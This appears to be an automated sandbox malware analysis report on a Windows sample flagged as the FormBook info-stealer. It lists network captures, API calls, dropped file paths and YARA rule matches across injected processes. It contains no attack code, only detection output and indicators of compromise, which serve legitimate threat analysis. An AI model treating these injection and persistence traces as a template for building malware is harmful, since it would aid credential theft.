Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 30 Nov 2023 13:57:23 GMTContent-Type: text/htmlContent-Length: 150Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 30 Nov 2023 13:58:44 GMTContent-Type: text/htmlContent-Length: 291Connection: closeETag: "6552b21e-123"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 30 Nov 2023 13:59:05 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: Yara match

File source: Process Memory Space: Fpopgapwdcgvxn.exe PID: 2268, type: MEMORYSTR

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032EF158 GetMessagePos,GetKeyboardState,

0_2_032EF158

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032D4F94 GetObjectA,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette,

0_2_032D4F94

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: Fpopgapwdcgvxn.exe PID: 2268, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: colorcpl.exe PID: 5112, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR	Matched rule: Semi-Auto-generated - file ironshell.php.txt Author: Neo23x0 Yara BRG + customization by Stefan -dfate- Molls
Source: Process Memory Space: rundll32.exe PID: 6708, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: colorcpl.exe PID: 6928, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: chkdsk.exe PID: 6856, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\Public\Libraries\Telragab.PIF

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 368 -s 2180

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A48A5	0_3_026A48A5
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A48A5	0_3_026A48A5
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_3_026A48A5	0_3_026A48A5
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032B2160	0_2_032B2160
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032FC520	0_2_032FC520
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032E3E18	0_2_032E3E18
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: 0_2_032BDD17	0_2_032BDD17
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068B9E4C	3_2_068B9E4C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068B9E50	3_2_068B9E50
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068B2FB0	3_2_068B2FB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068CE757	3_2_068CE757
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068B2D90	3_2_068B2D90
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_068B1030	3_2_068B1030
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E649EB0	3_2_1E649EB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FFF09	3_2_1E6FFF09
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E603FD2	3_2_1E603FD2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E603FD5	3_2_1E603FD5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FFFB1	3_2_1E6FFFB1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B9C32	3_2_1E6B9C32
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FFCF2	3_2_1E6FFCF2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F7D73	3_2_1E6F7D73
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F1D5A	3_2_1E6F1D5A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65FDC0	3_2_1E65FDC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B3A6C	3_2_1E6B3A6C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FFA49	3_2_1E6FFA49
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F7A46	3_2_1E6F7A46
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EDAC6	3_2_1E6EDAC6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDAAC	3_2_1E6DDAAC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E685AA0	3_2_1E685AA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E1AA3	3_2_1E6E1AA3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FFB76	3_2_1E6FFB76
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B5BF0	3_2_1E6B5BF0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E67DBF9	3_2_1E67DBF9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65FB80	3_2_1E65FB80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6AD800	3_2_1E6AD800
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6438E0	3_2_1E6438E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E649950	3_2_1E649950
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65B950	3_2_1E65B950
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D5910	3_2_1E6D5910
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E685630	3_2_1E685630
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F16CC	3_2_1E6F16CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FF7B0	3_2_1E6FF7B0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E631460	3_2_1E631460
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FF43F	3_2_1E6FF43F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F7571	3_2_1E6F7571
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DD5B0	3_2_1E6DD5B0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E12ED	3_2_1E6E12ED
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65B2C0	3_2_1E65B2C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6452A0	3_2_1E6452A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62D34C	3_2_1E62D34C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F132D	3_2_1E6F132D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E68739A	3_2_1E68739A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F70E9	3_2_1E6F70E9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FF0E0	3_2_1E6FF0E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EF0CC	3_2_1E6EF0CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6470C0	3_2_1E6470C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E67516C	3_2_1E67516C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62F172	3_2_1E62F172
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70B16B	3_2_1E70B16B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64B1B0	3_2_1E64B1B0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E640E59	3_2_1E640E59
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FEE26	3_2_1E6FEE26
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FEEDB	3_2_1E6FEEDB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E652E90	3_2_1E652E90
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FCE93	3_2_1E6FCE93
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B4F40	3_2_1E6B4F40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E682F28	3_2_1E682F28
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E660F30	3_2_1E660F30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E2F30	3_2_1E6E2F30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64CFE0	3_2_1E64CFE0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E632FC8	3_2_1E632FC8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BEFA0	3_2_1E6BEFA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E640C00	3_2_1E640C00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E630CF2	3_2_1E630CF2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E0CB5	3_2_1E6E0CB5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64AD00	3_2_1E64AD00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DCD1F	3_2_1E6DCD1F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63ADE0	3_2_1E63ADE0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E658DBF	3_2_1E658DBF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63EA80	3_2_1E63EA80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FAB40	3_2_1E6FAB40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F6BD7	3_2_1E6F6BD7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64A840	3_2_1E64A840
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E642840	3_2_1E642840
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66E8F0	3_2_1E66E8F0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6268B8	3_2_1E6268B8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E656962	3_2_1E656962
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6429A0	3_2_1E6429A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70A9A6	3_2_1E70A9A6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65C6E0	3_2_1E65C6E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E640770	3_2_1E640770
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E664750	3_2_1E664750
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63C7C0	3_2_1E63C7C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F2446	3_2_1E6F2446
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E4420	3_2_1E6E4420
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EE4F6	3_2_1E6EE4F6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E640535	3_2_1E640535
